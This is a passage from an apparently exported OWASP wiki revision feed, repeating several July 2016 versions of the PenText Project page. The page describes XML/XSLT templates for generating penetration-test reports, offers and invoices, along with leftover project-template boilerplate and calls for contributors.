&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219170</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219170"/>
				<updated>2016-07-21T10:25:28Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap== As of June, 2016, the highest priorities for the next 6 months are:&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219169</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219169"/>
				<updated>2016-07-21T10:19:35Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219168</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219168"/>
				<updated>2016-07-21T10:16:49Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Main */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
